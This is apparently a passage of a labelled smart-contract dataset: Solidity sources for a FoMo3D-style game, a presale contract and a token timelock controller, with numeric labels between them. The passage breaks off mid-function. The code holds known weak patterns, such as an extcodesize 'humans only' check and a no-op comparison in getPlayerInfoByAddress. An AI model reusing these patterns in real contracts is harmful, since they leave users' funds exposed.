F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
1,481
pragma solidity ^0.4.6; contract Presale { string public constant VERSION = "0.1.3-beta"; uint public constant PRESALE_START = 3116646; uint public constant PRESALE_END = 3116686; uint public constant WITHDRAWAL_END = 3116726; address public constant OWNER = 0xA4769870EB607A4fDaBFfbcC3AD066c8213bD87D; uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 1; uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 5; uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1; string[5] private stateNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ]; enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED } uint public total_received_amount; mapping (address => uint) public balances; uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether; uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether; uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney; function Presale () validSetupOnly() { } function () payable noReentrancy { State state = currentState(); if (state == State.PRESALE_RUNNING) { receiveFunds(); } else if (state == State.REFUND_RUNNING) { sendRefund(); } else { throw; } } function refund() external inState(State.REFUND_RUNNING) noReentrancy { sendRefund(); } function withdrawFunds() external inState(State.WITHDRAWAL_RUNNING) onlyOwner noReentrancy { if (this.balance > 0) { if (!OWNER.send(this.balance)) throw; } } function state() external constant returns (string) { return stateNames[ uint(currentState()) ]; } function sendRefund() private tokenHoldersOnly { var amount_to_refund = balances[msg.sender] + msg.value; balances[msg.sender] = 0; if (!msg.sender.send(amount_to_refund)) throw; } function receiveFunds() private notTooSmallAmountOnly { if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) { var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE; if (!msg.sender.send(change_to_return)) throw; var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount; balances[msg.sender] += acceptable_remainder; total_received_amount += acceptable_remainder; } else { balances[msg.sender] += msg.value; total_received_amount += msg.value; } } function currentState() private constant returns (State) { if (block.number < PRESALE_START) { return State.BEFORE_START; } else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) { return State.PRESALE_RUNNING; } else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) { return State.WITHDRAWAL_RUNNING; } else if (this.balance > 0){ return State.REFUND_RUNNING; } else { return State.CLOSED; } } modifier inState(State state) { if (state != currentState()) throw; _; } modifier validSetupOnly() { if ( OWNER == 0x0 || PRESALE_START == 0 || PRESALE_END == 0 || WITHDRAWAL_END ==0 || PRESALE_START <= block.number || PRESALE_START >= PRESALE_END || PRESALE_END >= WITHDRAWAL_END || MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE ) throw; _; } modifier onlyOwner(){ if (msg.sender != OWNER) throw; _; } modifier tokenHoldersOnly(){ if (balances[msg.sender] == 0) throw; _; } modifier notTooSmallAmountOnly(){ if (msg.value < MIN_ACCEPTED_AMOUNT) throw; _; } bool private locked = false; modifier noReentrancy() { if (locked) throw; locked = true; _; locked = false; } }
0
777
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract TokenTimelockController is Ownable { using SafeMath for uint; struct TokenTimelock { uint256 amount; uint256 releaseTime; bool released; bool revocable; bool revoked; } event TokenTimelockCreated( address indexed beneficiary, uint256 releaseTime, bool revocable, uint256 amount ); event TokenTimelockRevoked( address indexed beneficiary ); event TokenTimelockBeneficiaryChanged( address indexed previousBeneficiary, address indexed newBeneficiary ); event TokenTimelockReleased( address indexed beneficiary, uint256 amount ); uint256 public constant TEAM_LOCK_DURATION_PART1 = 1 * 365 days; uint256 public constant TEAM_LOCK_DURATION_PART2 = 2 * 365 days; uint256 public constant INVESTOR_LOCK_DURATION = 1 hours; mapping (address => TokenTimelock[]) tokenTimeLocks; ERC20 public token; address public crowdsale; bool public activated; constructor(ERC20 _token) public { token = _token; } modifier onlyCrowdsale() { require(msg.sender == crowdsale); _; } modifier onlyWhenActivated() { require(activated); _; } modifier onlyValidTokenTimelock(address _beneficiary, uint256 _id) { require(_beneficiary != address(0)); require(_id < tokenTimeLocks[_beneficiary].length); require(!tokenTimeLocks[_beneficiary][_id].revoked); _; } function setCrowdsale(address _crowdsale) external onlyOwner { require(_crowdsale != address(0)); crowdsale = _crowdsale; } function activate() external onlyCrowdsale { activated = true; } function createInvestorTokenTimeLock( address _beneficiary, uint256 _amount, uint256 _start, address _tokenHolder ) external onlyCrowdsale returns (bool) { require(_beneficiary != address(0) && _amount > 0); require(_tokenHolder != address(0)); TokenTimelock memory tokenLock = TokenTimelock( _amount, _start.add(INVESTOR_LOCK_DURATION), false, false, false ); tokenTimeLocks[_beneficiary].push(tokenLock); require(token.transferFrom(_tokenHolder, this, _amount)); emit TokenTimelockCreated( _beneficiary, tokenLock.releaseTime, false, _amount); return true; } function createTeamTokenTimeLock( address _beneficiary, uint256 _amount, uint256 _start, address _tokenHolder ) external onlyOwner returns (bool) { require(_beneficiary != address(0) && _amount > 0); require(_tokenHolder != address(0)); uint256 amount = _amount.div(2); TokenTimelock memory tokenLock1 = TokenTimelock( amount, _start.add(TEAM_LOCK_DURATION_PART1), false, true, false ); tokenTimeLocks[_beneficiary].push(tokenLock1); TokenTimelock memory tokenLock2 = TokenTimelock( amount, _start.add(TEAM_LOCK_DURATION_PART2), false, true, false ); tokenTimeLocks[_beneficiary].push(tokenLock2); require(token.transferFrom(_tokenHolder, this, _amount)); emit TokenTimelockCreated( _beneficiary, tokenLock1.releaseTime, true, amount); emit TokenTimelockCreated( _beneficiary, tokenLock2.releaseTime, true, amount); return true; } function revokeTokenTimelock( address _beneficiary, uint256 _id) external onlyWhenActivated onlyOwner onlyValidTokenTimelock(_beneficiary, _id) { require(tokenTimeLocks[_beneficiary][_id].revocable); require(!tokenTimeLocks[_beneficiary][_id].released); TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id]; tokenLock.revoked = true; require(token.transfer(owner, tokenLock.amount)); emit TokenTimelockRevoked(_beneficiary); } function getTokenTimelockCount(address _beneficiary) view external returns (uint) { return tokenTimeLocks[_beneficiary].length; } function getTokenTimelockDetails(address _beneficiary, uint256 _id) view external returns ( uint256 _amount, uint256 _releaseTime, bool _released, bool _revocable, bool _revoked) { require(_id < tokenTimeLocks[_beneficiary].length); _amount = tokenTimeLocks[_beneficiary][_id].amount; _releaseTime = tokenTimeLocks[_beneficiary][_id].releaseTime; _released = tokenTimeLocks[_beneficiary][_id].released; _revocable = tokenTimeLocks[_beneficiary][_id].revocable; _revoked = tokenTimeLocks[_beneficiary][_id].revoked; } function changeBeneficiary(uint256 _id, address _newBeneficiary) external onlyWhenActivated onlyValidTokenTimelock(msg.sender, _id) { tokenTimeLocks[_newBeneficiary].push(tokenTimeLocks[msg.sender][_id]); if (tokenTimeLocks[msg.sender].length > 1) { tokenTimeLocks[msg.sender][_id] = tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)]; delete(tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)]); } tokenTimeLocks[msg.sender].length--; emit TokenTimelockBeneficiaryChanged(msg.sender, _newBeneficiary); } function release(uint256 _id) external { releaseFor(msg.sender, _id); } function releaseFor(address _beneficiary, uint256 _id) public onlyWhenActivated onlyValidTokenTimelock(_beneficiary, _id) { TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id]; require(!tokenLock.released); require(block.timestamp >= tokenLock.releaseTime); tokenLock.released = true; require(token.transfer(_beneficiary, tokenLock.amount)); emit TokenTimelockReleased(_beneficiary, tokenLock.amount); } }
0
799
pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract FoMo3Dshort is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xa6407c2C318F5594e1d711E48C62F593D7Ad73D6); address private admin = msg.sender; string constant public name = "FOMO NOW"; string constant public symbol = "FNW"; uint256 private rndExtra_ = 30 minutes; uint256 private rndGap_ = 30 minutes; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 constant private rndMax_ = 1 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(32,0); fees_[1] = F3Ddatasets.TeamFee(45,0); fees_[2] = F3Ddatasets.TeamFee(62,0); fees_[3] = F3Ddatasets.TeamFee(47,0); potSplit_[0] = F3Ddatasets.PotSplit(47,0); potSplit_[1] = F3Ddatasets.PotSplit(47,0); potSplit_[2] = F3Ddatasets.PotSplit(62,0); potSplit_[3] = F3Ddatasets.PotSplit(62,0); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function 